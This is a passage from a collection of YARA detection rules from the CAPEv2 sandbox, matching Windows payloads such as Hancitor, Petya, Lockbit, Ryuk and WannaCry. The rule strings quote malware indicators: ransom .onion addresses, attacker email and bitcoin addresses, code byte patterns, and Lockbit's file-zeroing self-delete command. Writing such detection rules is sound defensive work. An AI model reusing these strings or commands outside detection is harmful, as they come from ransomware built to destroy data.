		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "84003542a2f587b5fbd43731c4240759806f8ee46df2bd96aae4a3c09d97e41c"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Hancitor Payload"
	strings:
		$fmt_string = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)"
		$fmt_string2 = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)"
		$ipfy = "http://api.ipify.org"
		$user_agent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Petrwrap : FILE
{
	meta:
		description = "PetrWrap Payload"
		author = "kevoreilly"
		id = "83762c87-6e96-50fe-b297-e1a5f893be43"
		date = "2019-10-30"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/PetrWrap.yar#L1-L15"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "6dd1cf5639b63d0ab41b24080dad68d285f2e3969ad34fd724c83e7a0dd4b968"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "PetrWrap Payload"
	strings:
		$a1 = "http://petya3jxfp2f7g3i.onion/"
		$a2 = "http://petya3sen7dyko2n.onion"
		$b1 = "http://mischapuk6hyrn72.onion/"
		$b2 = "http://mischa5xyix2mrhd.onion/"
	condition:
		uint16( 0 ) == 0x5A4D and ( any of ( $a* ) ) and ( any of ( $b* ) )
}

rule CAPE_Sedreco : FILE
{
	meta:
		description = "Sedreco encrypt function entry"
		author = "kevoreilly"
		id = "5b9ee4af-50a4-597c-8fa5-f2094c312d23"
		date = "2019-10-30"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Sedreco.yar#L1-L15"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "f735549606917f59a19157e604e54766e4456bc5d46e94cae3e0a3c18b52a7ca"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Sedreco Payload"
	strings:
		$encrypt1 = {55 8B EC 83 EC 2C 53 56 8B F2 57 8B 7D 08 B8 AB AA AA AA}
		$encrypt2 = {55 8B EC 83 EC 20 8B 4D 10 B8 AB AA AA AA}
		$encrypt64_1 = {48 89 4C 24 08 53 55 56 57 41 54 41 56 48 83 EC 18 45 8D 34 10 48 8B E9 B8 AB AA AA AA 4D 8B E1 44 89 44 24 60 41 F7 E0 8B F2 B8 AB AA AA AA}
	condition:
		uint16( 0 ) == 0x5A4D and $encrypt1 or $encrypt2 or $encrypt64_1
}

rule CAPE_Kronos : FILE
{
	meta:
		description = "Kronos Payload"
		author = "kevoreilly"
		id = "921a939b-a037-5973-bd8e-f9f55fce7f0f"
		date = "2019-10-30"
		modified = "2020-07-02"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Kronos.yar#L1-L14"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "52ce9caf3627efe8ae86df6ca59e51e9f738e13ac0265f797e8d70123dbcaeb3"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Kronos Payload"
	strings:
		$a1 = "user_pref(\"network.cookie.cookieBehavior\""
		$a2 = "T0E0H4U0X3A3D4D8"
		$a3 = "wow64cpu.dll" wide
		$a4 = "Kronos" fullword ascii wide
	condition:
		uint16( 0 ) == 0x5A4D and ( 2 of ( $a* ) )
}

rule CAPE_Jaff : FILE
{
	meta:
		description = "Jaff Payload"
		author = "kevoreilly"
		id = "6681c1fe-6c88-5a49-bdfa-54ce08ea6707"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Jaff.yar#L1-L14"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "6806a5eeee04b7436ff694addc334bfc0f1ee611116904d57be9506acfd47418"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Jaff Payload"
	strings:
		$a1 = "CryptGenKey"
		$a2 = "353260540318613681395633061841341670181307185694827316660016508"
		$b1 = "jaff"
		$b2 = "2~1c0q4t7"
	condition:
		uint16( 0 ) == 0x5A4D and ( any of ( $a* ) ) and ( 1 of ( $b* ) )
}


rule CAPE_Lockbit : FILE
{
	meta:
		description = "Lockbit Payload"
		author = "kevoreilly"
		id = "ec9b4fec-0233-5277-b922-07057c2b4b34"
		date = "2020-05-14"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Lockbit.yar#L1-L15"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "80ab705c8246a0bd5b3de65146cf32b102f39bf9444bdf1d366b5a794c1229b9"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Lockbit Payload"
	strings:
		$string1 = "/C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 \"%s\" & Del /f /q \"%s\"" wide
		$string2 = "Ransom" ascii wide
		$crypto = {8B 4D 08 C1 E9 10 0F B6 D1 8B 4D 0C C1 E9 08 0F B6 C9 8B 14 95 [4] 8B 7D FC 33 14 8D [4] 8B CF C1 E9 18 33 14 8D [4] 0F B6 CB 33 14 8D [4] 8B CF 33 10}
		$decode1 = {8A ?4 34 ?C 0? 00 00 8B 8? 24 ?8 0? 00 00 0F BE ?? 0F BE C? 33 ?? 88 ?? 34 ?? 0? 00 00 46 83 FE 0? 72 DD}
		$decode2 = {8A 44 24 ?? 30 44 0C ?? 41 83 F9 ?? 72 F2}
	condition:
		uint16( 0 ) == 0x5A4D and ( 2 of them )
}

rule CAPE_Bazar : FILE
{
	meta:
		description = "No description has been set in the source file - CAPE"
		author = "kevoreilly"
		id = "e042f180-2a82-5c93-9858-77281557dd10"
		date = "2021-08-26"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Bazar.yar#L1-L11"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "9375f59b56e47fd0b90b089afdf3be8f16f960038fc625523a2e2d5509ab099d"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Bazar Payload"
	strings:
		$decode = {F7 E9 [0-2] C1 FA 0? 8B C2 C1 E8 1F 03 D0 6B C2 ?? 2B C8}
		$rsa = {C7 00 52 53 41 33 48 8D 48 09 C7 40 04 00 08 00 00 4C 8D 05 [3] 00 C6 40 08 03 B8 09 00 00 00 [0-3] 48 8D 89 80 00 00 00 41 0F 10 00}
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}

rule CAPE_Petya : FILE
{
	meta:
		description = "Petya Payload"
		author = "kevoreilly"
		id = "e581747c-c40f-5689-84b4-d55134b532f7"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Petya.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "f819261bb34f3b2eb7dc2f843b56be25105570fe902a77940a632a54fbe0d014"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Petya Payload"
	strings:
		$a1 = "CHKDSK is repairing sector"
		$a2 = "wowsmith123456@posteo.net"
		$a3 = "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX" wide
	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $a* ) )
}

rule CAPE_Azer : FILE
{
	meta:
		description = "Azer Payload"
		author = "kevoreilly"
		id = "4bda70c2-3cd9-543f-92f4-886b7dd899a1"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Azer.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "48bd4a4e071f10d1911c4173a0cd39c69fed7a3b29eb92beffe709899f4cefa5"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Azer Payload"
	strings:
		$a1 = "webmafia@asia.com" wide
		$a2 = "INTERESTING_INFORMACION_FOR_DECRYPT.TXT" wide
		$a3 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ"
	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $a* ) )
}

rule CAPE_Dridexv4 : FILE
{
	meta:
		description = "Dridex v4 Payload"
		author = "kevoreilly"
		id = "c396f664-9f0d-50ac-bce8-33fd8712645a"
		date = "2019-10-30"
		modified = "2022-05-31"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/DridexV4.yar#L1-L15"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "cb103fe5f2d4792e3c612db4e2d84a4c8b0ce0f9a8443e9147e2c345f1dbdff6"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "DridexV4 Payload"
	strings:
		$decrypt32 = {6A 40 58 3B C8 0F 4D C1 39 46 04 7D 50 53 57 8B F8 81 E7 3F 00 00 80 79 05 4F 83 CF C0 47 F7 DF 99 1B FF 83 E2 3F 03 C2 F7 DF C1 F8 06 03 F8 C1 E7 06 57}
		$getproc32 = {81 FB ?? ?? ?? ?? 74 2D 8B CB E8 ?? ?? ?? ?? 85 C0 74 0C 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3}
		$getproc64 = {81 FB ?? ?? ?? ?? 75 04 33 C0 EB 2D 8B CB E8 ?? ?? ?? ?? 48 85 C0 75 17 8B CB E8 ?? ?? ?? ?? 84 C0 74 E5 8B CB E8 ?? ?? ?? ?? 48 85 C0 74 D9 8B D7 48 8B C8 E8 ?? ?? ?? ?? 48 8B 5C 24 30 48 83 C4 20 5F C3}
		$bot_stub_32 = {8B 45 E? 8? [5-13] 8A 1C 0? [6-15] 05 FF 00 00 00 8B ?? F? 39 ?? 89 45 E? 72 D?}
		$bot_stub_64 = {8B 44 24 ?? 89 C1 89 CA 4C 8B 05 [4] 4C 8B 4C 24 ?? 45 8A 14 11 83 E0 1F 89 C0 41 89 C3 47 2A 14 18 44 88 54 14}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule CAPE_Dreambot : FILE
{
	meta:
		description = "Dreambot Payload"
		author = "kevoreilly"
		id = "675c2fea-fe48-5afd-9fa1-de919134892f"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Dreambot.yar#L1-L14"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "29c6d648d5d38667c5824c2d20a83a20448c2ae6054ddddb2b2b7f8bdb69f74b"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Dreambot Payload"
	strings:
		$a1 = {53 56 33 F6 33 DB C1 6C 24 0C 02 74 2F 8B 02 85 C0 75 11 83 7C 24 0C 02 76 0A 39 42 04 75 05 39 42 08 74 18 43 8A CB D3 C0 33 C6 33 44 24 10 8B F0 89 32 83 C2 04 FF 4C 24 0C 75 D1 5E 5B C2 08 00}
		$a2 = {53 33 C9 33 DB C1 6C 24 08 02 74 22 56 8B 02 85 C0 8B F0 74 18 33 C1 33 44 24 10 43 8A CB D3 C8 8B CE 89 02 83 C2 04 FF 4C 24 0C 75 E0 5E 5B C2 08 00}
		$b1 = "Oct  5 2016"
		$b2 = ".bss"
	condition:
		uint16( 0 ) == 0x5A4D and ( 1 of ( $a* ) ) and ( all of ( $b* ) )
}

rule CAPE_Tscookie : FILE
{
	meta:
		description = "TSCookie Payload"
		author = "kevoreilly"
		id = "e1efd356-7170-5454-bf40-68927c71816c"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/TSCookie.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "0461c7fd14c74646437654f0a63a4a89d4efad620e197a8ca1e8d390618842c3"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "TSCookie Payload"
	strings:
		$string1 = "http://%s:%d" wide
		$string2 = "/Default.aspx" wide
		$string3 = "\\wship6"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Carbanak : FILE
{
	meta:
		description = "Carnbanak Payload"
		author = "enzok"
		id = "e6d395d5-65ba-5efb-bcbc-c6d56a96f0c1"
		date = "2023-11-30"
		modified = "2024-03-18"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Carbanak.yar#L1-L14"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "c9c1b06cb9c9bd6fc4451f5e2847a1f9524bb2870d7bb6f0ee09b9dd4e3e4c84"
		logic_hash = "8ed5ab07f1635dc7cdf296e86a71a0a99d0b2faef8fc460f43d426b24b8c8367"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Carbanak Payload"
	strings:
		$sboxinit = {0F BE 02 4? 8D 05 [-] 4? 8D 4D ?? E8 [3] 00 33 F6 4? 8D 5D ?? 4? 63 F8 8B 45 ?? B? B1 E3 14 06}
		$decode_string = {0F BE 03 FF C9 83 F8 20 7D ?? B? 1F [3] 4? 8D 4A E2 EB ?? 3D 80 [3] 7D ?? B? 7F [3] 4? 8D 4A A1 EB ?? B? FF [3] 4? 8D 4A 81}
		$constants = {0F B7 05 [3] 00 0F B7 1D [3] 00 83 25 [3] 00 00 89 05 [3] 00 0F B7 05 [3] 00 89 1D [3] 00 89 05 [3] 00 33 C0 4? 8D 4D}
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}

rule CAPE_Dridexloader_1 : FILE
{
	meta:
		description = "Dridex v4 dropper C2 parsing function"
		author = "kevoreilly"
		id = "43bd9631-4611-567c-bee5-d926e060b977"
		date = "2019-11-12"
		modified = "2021-03-10"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/DridexLoader.yar#L1-L17"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "20696b1f14539c8ecf21bffc696596040c20b1ee2fcedc173945482c0baca588"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "DridexLoader Payload"
	strings:
		$c2parse_1 = {57 0F 95 C0 89 35 [4] 88 46 04 33 FF 80 3D [4] 00 76 54 8B 04 FD [4] 8D 4D EC 83 65 F4 00 89 45 EC 66 8B 04 FD [4] 66 89 45 F0 8D 45 F8 50}
		$c2parse_2 = {89 45 00 0F B7 53 04 89 10 0F B6 4B 0C 83 F9 0A 7F 03 8A 53 0C 0F B6 53 0C 85 D2 7E B7 8D 74 24 0C C7 44 24 08 00 00 00 00 8D 04 7F 8D 8C 00}
		$c2parse_3 = {89 08 66 39 1D [4] A1 [4] 0F 95 C1 88 48 04 80 3D [4] 0A 77 05 A0 [4] 80 3D [4] 00 56 8B F3 76 4E 66 8B 04 F5}
		$c2parse_4 = {0F B7 C0 89 01 A0 [4] 3C 0A 77 ?? A0 [4] A0 [4] 57 33 FF 84 C0 74 ?? 56 BE}
		$c2parse_5 = {0F B7 05 [4] 89 02 89 15 [4] 0F B6 15 [4] 83 FA 0A 7F 07 0F B6 05 [4] 0F B6 05 [4] 85 C0}
		$c2parse_6 = {0F B7 53 ?? 89 10 0F B6 4B ?? 83 F9 0A 7F 03 8A 53 ?? 0F B6 53 ?? 85 D2 7E B9}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}


rule CAPE_Ramnit : FILE
{
	meta:
		description = "Ramnit Payload"
		author = "kevoreilly"
		id = "6df92055-05f6-5985-9268-b9c85e143567"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Ramnit.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "6f661f47bdf8377b0fb96f190fcb964c0ed2b43ce7ae7880f9dfce9e43837efd"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Ramnit Payload"
	strings:
		$DGA = {33 D2 B9 1D F3 01 00 F7 F1 8B C8 B8 A7 41 00 00 F7 E2 8B D1 8B C8 B8 14 0B 00 00 F7 E2 2B C8 33 D2 8B C1 8B}
		$xor_loop = {83 7D 0C 00 74 27 83 7D 14 00 74 21 8B 4D 0C 8B 7D 08 8B 75 10 BA 00 00 00 00 0B D2 75 04 8B 55 14 4A 8A 1C 32 32 1F 88 1F 47 4A E2 ED}
		$id_string = "{%08X-%04X-%04X-%04X-%08X%04X}"
	condition:
		uint16( 0 ) == 0x5A4D and all of ( $* )
}

rule CAPE_Ryuk : FILE
{
	meta:
		description = "Ryuk Payload"
		author = "kevoreilly"
		id = "594bbb8d-1f85-5a01-a864-ac2d95c45bf9"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Ryuk.yar#L1-L14"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "b4463993d8956e402b927a3dcfa2ca9693a959908187f720372f2d3a40e6db0c"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Ryuk Payload"
	strings:
		$ext = ".RYK" wide
		$readme = "RyukReadMe.txt" wide
		$main = "InvokeMainViaCRT"
		$code = {48 8B 4D 10 48 8B 03 48 C1 E8 07 C1 E0 04 F7 D0 33 41 08 83 E0 10 31 41 08 48 8B 4D 10 48 8B 03 48 C1 E8 09 C1 E0 03 F7 D0 33 41 08 83 E0 08 31 41 08}
	condition:
		uint16( 0 ) == 0x5A4D and 3 of ( $* )
}

rule CAPE_Masslogger : FILE
{
	meta:
		description = "MassLogger"
		author = "kevoreilly"
		id = "0743421a-36f7-5b7c-859f-b461511151cb"
		date = "2020-10-20"
		modified = "2020-11-24"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/MassLogger.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "c8d82694810aafbdc6a35a661e7431e9536035e2f7fef90b9359064c4209b66c"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "MassLogger Payload"
	strings:
		$name = "MassLogger"
		$fody = "Costura"
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}


rule CAPE_Lokibot : FILE
{
	meta:
		description = "LokiBot Payload"
		author = "kevoreilly"
		id = "8cdf69e2-ecac-5241-adba-c458cce0610f"
		date = "2022-02-01"
		modified = "2022-02-01"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/LokiBot.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "a5b3d518371138740e913d2d6ce4fa22d3da5cea7e034c7d6b4b502e6bf44b06"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "LokiBot Payload"
	strings:
		$a1 = "DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW"
		$a2 = "last_compatible_version"
	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $a* ) )
}

rule CAPE_Ursnifv3_1 : FILE
{
	meta:
		description = "UrsnifV3 Payload"
		author = "kevoreilly"
		id = "9dd32f80-b535-52a3-91e1-4db005362fd4"
		date = "2022-05-31"
		modified = "2023-03-23"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/UrsnifV3.yar#L1-L18"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "501cd52388aba16f9d33b4555f310e1ad58326916b15358a485c701acb87abd8"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "UrsnifV3 Payload"
		packed = "75827be0c600f93d0d23d4b8239f56eb8c7dc4ab6064ad0b79e6695157816988"
		packed = "5d6f1484f6571282790d64821429eeeadee71ba6b6d566088f58370634d2c579"
	strings:
		$crypto32_1 = {8B C3 83 EB 01 85 C0 75 0D 0F B6 16 83 C6 01 89 74 24 14 8D 58 07 8B C2 C1 E8 07 83 E0 01 03 D2 85 C0 0F 84 AB 01 00 00 8B C3 83 EB 01 85 C0 89 5C 24 20 75 13 0F B6 16 83 C6 01 BB 07 00 00 00}
		$crypto32_2 = {8B 45 ?? 0F B6 3? FF 45 [2-4] 8B C? 23 C? 40 40 D1 E? 7?}
		$crypto32_3 = {F6 46 03 02 75 5? 8B 46 10 40 50 E8 [10-12] 74 ?? F6 46 03 01 74}
		$crypto32_4 = {C7 44 24 10 01 00 00 00 8B 4? 10 [12] 8B [2] 89 01 8B 44 24 10 5F 5E 5B 8B E5 5D C2 0C 00}
		$cpuid = {8B C4 FF 18 8B F0 33 C0 0F A2 66 8C D8 66 8E D0 8B E5 8B C6 5E 5B 5D C3}
		$cape_string = "cape_options"
	condition:
		uint16( 0 ) == 0x5A4D and 1 of ( $crypto32_* ) and $cpuid and not $cape_string
}



rule CAPE_Pik23 : FILE
{
	meta:
		description = "PikaBot Payload February 2023"
		author = "kevoreilly"
		id = "fc804c63-fc6c-5b26-92b1-aa5d2fbc4917"
		date = "2023-02-13"
		modified = "2024-03-13"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/PikaBot.yar#L30-L44"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "59f42ecde152f78731e54ea27e761bba748c9309a6ad1c2fd17f0e8b90f8aed1"
		logic_hash = "71a71df2f2a075294941c54eed06cafaaa4d3294e45b3a0098c1cffddd0438bc"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "PikaBot Payload"
	strings:
		$rdtsc = {89 55 FC 89 45 F8 0F 31 89 55 F4 89 45 FC 33 C0 B8 05 00 00 00 C1 E8 02 2B C3 3B C1 0F 31 89 55 F0 89 45 F8 8B 44 8D}
		$int2d = {B8 00 00 00 00 CD 2D 90 C3 CC CC CC CC CC CC CC}
		$subsys = {64 A1 30 00 00 00 8B 40 18 C3}
		$rijndael = {EB 0F 0F B6 04 3? FE C? 8A 80 [4] 88 04 3? 0F B6 [3] 7C EA 5? 5? C9 C3}
	condition:
		uint16( 0 ) == 0x5A4D and 3 of them
}

rule CAPE_Doppelpaymer : FILE
{
	meta:
		description = "DoppelPaymer Payload"
		author = "kevoreilly"
		id = "c8178906-1722-5908-9ad4-7ee1eef39138"
		date = "2019-11-15"
		modified = "2022-06-27"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/DoppelPaymer.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "73a2575671bafc31a70af3ce072d6f94ae172b12202baebba586a02524cb6f9d"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "DoppelPaymer Payload"
	strings:
		$getproc32 = {81 FB ?? ?? ?? ?? 74 2D 8B CB E8 ?? ?? ?? ?? 85 C0 74 0C 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3}
		$cmd_string = "Setup run\\n" wide
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Monsterv2 : FILE
{
	meta:
		description = "MonsterV2 Payload"
		author = "doomedraven,YungBinary"
		id = "4bc3546f-34ad-579e-9822-272a2b3c74e2"
		date = "2025-09-06"
		modified = "2025-09-12"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/MonsterV2.yar#L1-L21"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "d4e65f860e69b2eee8a818a4146d91b84ce6da30c8fa27593587932e4f0847a8"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "MonsterV2 Payload"
		packed = "fe69e8db634319815270aa0e55fe4b9c62ce8e62484609c3a42904fbe5bb2ab3"
	strings:
		$decrypt_config = {
            41 B8 0E 04 00 00
            48 8D 15 ?? ?? ?? 00
            48 8B C?
            E8 ?? ?? ?? ?? [3-17]
            4C 8B C?
            48 8D 54 24 28
            48 8B CE
            E8 ?? ?? ?? ??
        }
	condition:
		uint16( 0 ) == 0x5A4D and $decrypt_config
}

rule CAPE_Varenyky : FILE
{
	meta:
		description = "Varenyky Payload"
		author = "kevoreilly"
		id = "e01695fa-72a0-5d8e-86ab-8c909d28b8ec"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Varenyky.yar#L1-L11"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "602f1b8b60b29565eabe2171fde4eb58546af68f8acecad402a7a51ea9a08ed9"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Varenyky Payload"
	strings:
		$onion = "jg4rli4xoagvvmw47fr2bnnfu7t2epj6owrgyoee7daoh4gxvbt3bhyd.onion"
	condition:
		uint16( 0 ) == 0x5A4D and ( $onion )
}

rule CAPE_Wanacry : FILE
{
	meta:
		description = "WanaCry Payload"
		author = "kevoreilly"
		id = "a6525e0f-fccd-5542-9be8-e42d708fe502"
		date = "2019-10-30"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/WanaCry.yar#L1-L16"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "16d5e39f043d27bbf22f8f21e13971b7e0709b07e44746dd157d11ee4cc51944"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "WanaCry Payload"
	strings:
		$exename = "@WanaDecryptor@.exe"
		$res = "%08X.res"
		$pky = "%08X.pky"
		$eky = "%08X.eky"
		$taskstart = {8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Cerber : FILE
{
	meta:
		description = "Cerber Payload"
		author = "kevoreilly"
